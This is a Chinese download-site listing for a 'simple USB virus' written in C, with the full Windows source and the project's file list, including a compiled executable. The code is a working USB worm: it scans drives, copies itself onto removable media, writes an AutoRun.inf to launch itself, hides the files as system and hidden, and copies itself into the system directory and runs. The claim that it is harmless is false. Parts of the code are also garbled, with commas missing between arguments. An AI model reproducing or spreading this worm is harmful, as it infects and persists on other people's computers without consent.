资源简介

C语言编写的简单U盘病毒,这里只是简单的而已,没有什么危害,只供学习

资源截图

代码片段和文件信息

// proj7_2.cpp : Defines the entry point for the application.
//

#include “stdafx.h“
bool SaveToFile(char* Pathchar* Data){
HANDLE hFile;
hFile=CreateFile(Path GENERIC_WRITE 0 NULL CREATE_ALWAYS FILE_ATTRIBUTE_NORMALNULL);
if(hFile==INVALID_HANDLE_VALUE){/*continue; //出错时处理*/}
DWORD dwWrite;
WriteFile(hFileDatastrlen(Data)&dwWriteNULL);
CloseHandle(hFile);
return true;
}
BOOL InfectU()
{
while(true)
{
UINT revtype;
char name[256]=“H:\\“ ;
char szName[256]={0};
char toPath[256]={0};
char infPath[256]={0};
char openU[80]={0};
//遍历所有盘符
for(BYTE i=0x42;i<0x5B;i=i+0x01)
{
name[0]=i;
//得到盘符类型
revtype=GetDriveType(name);
//判断是否是可移动存储设备
if (revtype==DRIVE_REMOVABLE)
{   
//得到自身文件路径
GetModuleFileName(NULLszName256);
//比较是否和U盘的盘符相同
//如果相同说明在U盘上执行复制到系统中去
if(strncmp(nameszName1)==0)
{
//得到系统目录
GetSystemDirectory(toPath256);
strcat(toPath“\\proj7_2.exe“);
//把自身文件复制到系统目录
if(CopyFile(szNametoPathTRUE))
{
//运行程序
WinExec(toPath0);
}
strcpy(openU“explorer “);
strcat(openUname);
//打开U盘
WinExec(openU1);
return 0;
}//如果不是则在系统中执行感染U盘
else
{
strcpy(toPathname);
strcat(toPath“\\proj7_2.exe“);
strcpy(infPathname);
strcat(infPath“\\AutoRun.inf“);
//还原U盘上的文件属性
SetFileAttributes(toPathFILE_ATTRIBUTE_NORMAL);
SetFileAttributes(infPathFILE_ATTRIBUTE_NORMAL);
//删除原有文件
                    DeleteFile(toPath);
DeleteFile(infPath);
//写AutoRun.inf到U盘
char* Data;
Data = “[AutoRun]\r\nopen=proj7_2.exe\r\nshell\\open=打开(&O)\r\nshell\\explore=我的资源管理器(&X)\r\nshell\\explore\\Command=proj7_2.exe“;
SaveToFile(infPathData);
//拷贝自身文件到U盘
CopyFile(szNametoPathFALSE);
//把这两个文件设置成系统,隐藏属性
SetFileAttributes(toPath 
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(infPath 
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
}
}

}
//休眠60秒,60检测一次
Sleep(60000);
}
}
int APIENTRY WinMain(HINSTANCE hInstance
                     HINSTANCE hPrevInstance
                     LPSTR     lpCmdLine
                     int       nCmdShow)
{
char toPath[100];
GetSystemDirectory(toPath256);
InfectU();
return 0;
}

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件     172113  2012-04-15 17:08  proj7_2\Debug\proj7_2.exe

     文件     184820  2012-04-15 17:08  proj7_2\Debug\proj7_2.ilk

     文件       6497  2012-04-15 17:08  proj7_2\Debug\proj7_2.obj

     文件    1918904  2012-04-15 12:21  proj7_2\Debug\proj7_2.pch

     文件     443392  2012-04-15 17:08  proj7_2\Debug\proj7_2.pdb

     文件      55058  2012-04-15 12:21  proj7_2\Debug\StdAfx.obj

     文件      82944  2012-04-15 17:24  proj7_2\Debug\vc60.idb

     文件     176128  2012-04-15 17:08  proj7_2\Debug\vc60.pdb

     文件       2571  2012-04-15 17:26  proj7_2\proj7_2.cpp

     文件       4182  2010-09-23 18:03  proj7_2\proj7_2.dsp

     文件        539  2010-09-23 18:03  proj7_2\proj7_2.dsw

     文件      58368  2012-04-15 17:26  proj7_2\proj7_2.ncb

     文件      49664  2012-04-15 17:26  proj7_2\proj7_2.opt

     文件       1188  2012-04-15 17:08  proj7_2\proj7_2.plg

     文件       1215  2010-09-23 18:03  proj7_2\ReadMe.txt

     文件        294  2010-09-23 18:03  proj7_2\StdAfx.cpp

     文件        773  2010-09-23 18:03  proj7_2\StdAfx.h

     目录          0  2012-04-23 21:49  proj7_2\Debug

     目录          0  2012-04-23 21:49  proj7_2

----------- ---------  ---------- -----  ----

              3158650                    19


评论

共有 条评论